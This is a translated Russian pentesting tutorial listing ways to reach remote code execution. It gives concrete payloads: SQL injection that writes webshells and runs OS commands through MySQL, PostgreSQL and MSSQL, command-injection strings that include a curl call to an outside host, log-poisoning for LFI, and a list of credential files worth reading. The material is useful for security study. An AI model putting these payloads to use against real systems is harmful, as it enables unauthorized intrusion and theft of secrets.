[Перевод] 5 способов получить RCE на практике

Для специалистов в области offensive security обнаружение уязвимостей удалённого выполнения кода (RCE) является настоящей жемчужиной как для black-box проектов, так и для white-box. Такие уязвимости могут проявляться по-разному, но также существуют общие подходы для их обнаружения.

В этой статье мы рассмотрим распространённые методы получения RCE, включая SQL-инъекции, командные инъекции, path traversal, Local File Inclusion (LFI) и уязвимости в загрузке файлов. Для каждого вектора атаки мы приведём примеры и реальные случаи из моей практики, чтобы продемонстрировать их влияние.

Материал переведен Life-Hack — Хакер

07ea55658d78ffb01638fa8163058867.png

SQL-инъекция

SQL-инъекция широко известна как одна из самых известных веб-атак, предоставляющих злоумышленнику контроль над базой данных цели. SQL-инъекция может быть ещё опаснее, помимо кражи данных она позволяет злоумышленнику выполнять команды на операционной системе цели. RCE через SQL-инъекцию возможно когда злоумышленники используют запросы к базе данных для выполнения системных команд. Разные системы управления базами данных, такие как MySQL, PostgreSQL и MSSQL, обладают различными возможностями для выполнения команд на уровне операционной системы.

Важно отметить, что манипуляции выполняются с сервисом SQL, а не с веб-сервером (например, Apache или Nginx). Таким образом, достижение RCE зависит от привилегий, которыми обладает SQL-сервис на целевом сервере.

MySQL

Предположим, что вы нашли оператор SELECT, который позволяет вам внедрить вредоносный запрос. У вас есть два основных направления атаки. Первый и наиболее предпочтительный — использование функции OUTFILE в MySQL. Опция OUTFILE в MySQL используется для записи результата запроса в файл на файловой системе сервера. Мы можем использовать эту функцию, чтобы записать, например webshell, выполнив что-то вроде следующего:

' UNION SELECT "" INTO OUTFILE "/var/www/html/upload.php";

У меня был случай, когда при попытке выполнить эту операцию я получал сообщения об ошибках, указывающие на то, что у службы MySQL недостаточно прав для записи файла в указанные мной каталоги. Однако после нескольких попыток изменения пути файла мне повезло найти путь, в котором я смог записать файл.

Второй путь в случае SQL-инъекции в MySQL — использование функции LOAD_FILE (). Функция LOAD_FILE () в MySQL используется для чтения содержимого файла, находящегося на сервере, и возврата его в виде строки. Обычно она применяется для получения содержимого текстовых файлов, таких как файлы конфигурации или логи, в результате запроса. Если эта функция работает, можно попытаться использовать её для атаки path traversal с целью чтения конфиденциальных файлов с сервера, надеясь найти, например, приватные ключи SSH или пароли. Однако этот метод менее перспективен по сравнению с ранее упомянутой функцией.

PostgreSQL

В PostgreSQL у нас также есть несколько доступных вариантов. Первый из них — использование функции COPY для создания нового файла, что весьма похоже на пример с MySQL, рассмотренный ранее:

1; COPY (SELECT '') TO '/var/www/html/chux.php'; --

Для чтения конфиденциальных файлов на системе можно использовать функцию pg_read_file ():

SELECT pg_read_file('/var/www/html/.env',0,1000);

Ещё один, более креативный способ добиться RCE в данной DBMS — использование скриптовых языков, установленных в системе, для выполнения произвольного кода. Следующий запрос может показать, какие скриптовые языки поддерживаются в целевой базе данных:

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Если на системе поддерживается скриптовый язык, вы можете использовать его для создания пользовательского скрипта, чтобы выполнить всё, что вам нужно:

1; CREATE FUNCTION rce() RETURNS VOID AS $
import os
os.system('echo pwned > /tmp/chux.txt')
$ LANGUAGE plpythonu; SELECT rce(); --

Для дополнительного изучения эксплуатации скриптовых языков PostgreSQL для достижения RCE, ознакомьтесь с этим превосходным руководством.

И наконец, ещё один интересный приём для PostgreSQL, который я узнал из OWASP и применил его на одном коммерческом сайте, заключается в инъекции пользовательской функции, связанной с libc.

Чтобы реализовать это, необходимо выполнить следующие шаги:
1. Создать таблицу для вывода результата (stdout).
2. Запустить shell-команду, которая будет ссылаться на этот вывод.
3. Использовать функцию COPY, чтобы получить результат выполнения вашей shell-команды в созданную таблицу.

Пример с сайта OWASP выглядит следующим образом:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'

STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

MSSQL

Здесь существуют известные хранимые процедуры, которые помогают выполнять команды ОС непосредственно из базы данных.
Нативный способ выполнения команд операционной системы на сервере MSSQL заключается в использовании xp_cmdshell. Эта хранимая процедура по умолчанию отключена и может быть активирована только пользователем sa (системным администратором).

Пример простой команды с использованием xp_cmdshell:

EXEC xp_cmdshell 'ipconfig';

Предположим, что вам удалось найти уязвимое место для инъекции. Если у вас есть доступ к пользователю sa или другой учетной записи с достаточными привилегиями, вы можете получить RCE на целевой системе!
Если же у вас есть достаточно прав для запуска xp_cmdshell, но эта функция отключена, вы можете включить ее с помощью следующей команды:

1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

И, наконец, для выполнения любой команды вы можете использовать:

1; EXEC xp_cmdshell 'ping chux.io'; EXEC xp_cmdshell 'dir C:\\users'; --

Здесь стоит упомянуть, что кроме xp_cmdshell, есть еще несколько хранимых процедур, которые можно использовать для манипуляций с целевым сервером:
xp_regread — чтение из реестра. Пример:

EXEC xp_regread 
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SOFTWARE\Microsoft\Windows Defender',
    @value_name = 'DisableAntiSpyware';

xp_regwrite — запись в реестр. Пример:

EXEC xp_regwrite 
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SYSTEM\CurrentControlSet\Services\MyService',
    @value_name = 'Start',
    @type = 'REG_DWORD',
    @value = '2';

sp_send_dbmail — замена xp_sendmail. Пример:

EXEC msdb.dbo.sp_send_dbmail  
    @profile_name = 'DefaultProfile',  
    @recipients = 'chux@chux.io',  
    @subject = 'Test Email',  
    @body = 'This is a test email sent from SQL Server.';

Подводя итог «от SQLi до RCE» — существует много способов выполнить произвольный код на сервере через SQL-сервис. Конечно, как правило, рекомендуется, чтобы системные администраторы предоставляли минимально необходимые привилегии этим службам, а упомянутые SQL-функции должны быть отключены, поскольку обычно они используются крайне редко.

И всё же, я до сих пор находил достаточно SQL-серверов, которые могут читать/записывать файлы на сервере. Поэтому, если вы обнаружили SQL-инъекцию, всегда пытайтесь определить свои привилегии, чтобы максимально увеличить максимальный профит!

Command Injection

Это самая классическая уязвимость RCE (удаленное выполнение кода), которую каждый из нас хотел бы найти. Хотя в наши дни она уже не так распространена, всё же её можно встретить во множестве IoT устройств, особенно в роутерах. К счастью, мне также встречались веб-приложения, обычно созданные на PHP и NodeJS, которые использовали некоторые функции операционной системы в сочетании с пользовательскими параметрами для выполнения команд на сервере, что позволяло злоумышленнику довольно легко получить RCE.

Классическая инъекция

Во время одного black-box тестирования я наткнулся на внутреннее веб-приложение, в котором одна из функций позволяла пользователю ввести URL веб-сайта организации, чтобы скачать оттуда файл и затем предоставить его пользователю после конвертации формата.

Я предположил, что за кулисами разработчик мог использовать команды curl или wget, передавая URL-адрес, введённый пользователем, в качестве аргумента. Я представил себе что-то вроде:

Итак, если код в веб-приложении похож на тот, который я описал выше, мы можем предоставить URL, а затем просто добавить что-то вроде »; curl chux.io #», чтобы подтвердить нашу теорию.

В этом случае это сработало, и у меня была слепая инъекция команд, что сделало возможным запуск обратной оболочки или загрузку webshell.

Second Order Injection

Second Order Injection происходят, когда уязвимая функция выполняет код, сохраненный в базе данных, без прямого ввода пользователя в саму уязвимую функцию.

В ходе просмотра кода другого внутреннего веб-приложения для туристической компании я обнаружил функцию, которая загружает документы с FTP-серверов в сети, используя что-то похожее на следующий код:

query($query);
    $row = $result->fetch_assoc();
    $ip_address = $row['ip_address'];
    system("ftp $ip_address");  
}
if (isset($_GET['server_id'])) {
    connectToFTP($_GET['server_id']);
}
?>

Код выше берет IP-адрес сервера из базы данных и передает его в функцию system () без какой-либо валидации. Я сразу же стал искать место в коде, которое отвечает за добавление или редактирование IP-адресов серверов, и к моему удивлению, валидация была только на стороне клиента!

Итак, я создал новый сервер и ввел следующий IP-адрес в поле:

127.0.0.1; echo 'pwned' > /var/www/html/chux.txt / #

И как ожидалось, когда я выполнил FTP-функцию для получения документов с сервера, мой файл был создан на веб-сервере, что стало доказательством критической уязвимости!

Path Traversal

Эта атака известна тем, что позволяет злоумышленникам читать произвольные файлы на сервере, но не выполнять код напрямую. Однако в некоторых случаях я обнаруживал, что эта атака является отличным способом получить RCE.

Файлы, которые я обычно ищу, чтобы эскалировать эту атаку:
• SSH-ключи (/home/*/.ssh/id_rsa)
• .env файлы — обычно содержат секреты и учетные данные
• Bash-скрипты — могут содержать учетные данные для серверов и баз данных
• web.config — в .NET приложениях этот файл может содержать MachineKey, что может привести к атаке десериализации ViewState

Эта атака не предоставляет нам напрямую выполнение кода на сервере, но, если мы тщательно исследуем файловую систему, мы сможем найти полезную информацию для подключения к цели.

Один из моих любимых примеров силы path traversal — это CVE-2021–41773 & CVE-2021–42013.

Local File Inclusion (LFI)

В отличие от предыдущей уязвимости, с LFI мы не только можем читать файлы на сервере, но и выполнять PHP код!

Если целевое приложение использует одну из популярных PHP-функций:
• require ()
• include ()
• require_once ()
• include_once ()

Мы должны проверить, можно ли передать этим функциям путь к файловой системе сервера. Наиболее распространенные методы, с которыми я столкнулся в реальных атаках, — это отравление логов и загрузка файлов.
При отравлении логов нужно проверить, к каким файлам на сервере мы можем получить доступ с правами веб-сервера. Например:

Если нам удастся добавить строку PHP в один из этих логов, то мы сможем получить RCE на целевом сервере. Например, если мы можем читать auth.log, то можно «отравить» его, просто совершив неудачную попытку подключения по SSH:

ssh "@10.20.30.40"

Доступ к auth.log через функцию PHP, такую как include (), приведет к выполнению кода в файле журнала!

Другим распространенным вариантом является использование LFI через загрузку файлов. Если есть защита от загрузки файлов, которая, например, имеет белый список только для jpg-файлов, мы можем использовать Exiftool для внедрения нашего PHP-кода в комментарий или любой другой атрибут файла, а затем просто загрузить его как jpg. Прямой доступ к загруженному файлу не приведет к выполнению нашего кода, но доступ к нему через LFI заставит код работать!

Уязвимость file upload

Это, возможно, одна из моих любимых атак. Каждый раз, когда я вижу эту функциональность, я трачу много времени, пытаясь ее использовать.
В этой статье я не буду углубляться в методологию тестирования, но рекомендую прочитать мои предыдущие статьи на эту тему:
• 5 Advanced Ways I Test For File Upload Vulnerabilities
• From File Upload To LFI

Однако в большинстве случаев функционал загрузки файлов может быть далеко непростым. От загрузки веб-оболочки до XXE и уязвимостей произвольного чтения файлов, все должно быть очень тщательно протестировано.

У меня есть друг, который тестировал веб-приложение на NodeJS на уязвимость file upload и нашел способ загружать JS файлы вместе с обходом каталогов. В конечном итоге это привело к отказу в обслуживании, когда он случайно перезаписал оригинальный index.js файл на сервере.

Совсем недавно у меня был обзор кода для PHP-веб-приложения, и следующий код меня шокировал:

3128b5350a1002aee38283de5acc961a.png

Как видите, нет никаких ограничений на загрузку файлов, и это в уважаемой компании.

Функция загрузки файлов — отличное место для поиска вашей следующей критической уязвимости, не сдавайтесь после первой неудачной попытки загрузить файл .php!

Итог

Существует множество различных способов достижения удаленного выполнения кода с использованием различных уязвимостей. Здесь мы упомянули только несколько, которые, по моему опыту, были наиболее распространенными в реальных случаях.

Хотя существуют «очевидные» уязвимости для RCE, такие как инъекция команд и загрузка файлов, в некоторых случаях мы можем получить чрезвычайно высокую ценность, используя SQLi или доступ к файлам (path traversal).

Когда вы изучаете новую тему или находите новую уязвимость в своих проектах, потратьте достаточно времени, чтобы найти способ эскалации вашей атаки. Я читал о случаях, когда даже CSRF можно было преобразовать в RCE.

Удачи в поиске вашей следующей RCE уязвимости, хакеры!

Life-Hack — Хакер

Полезные OSINT инструменты в телеграме (всегда рабочие ссылки) и отличный контент.

Habrahabr.ru прочитано 1947 раз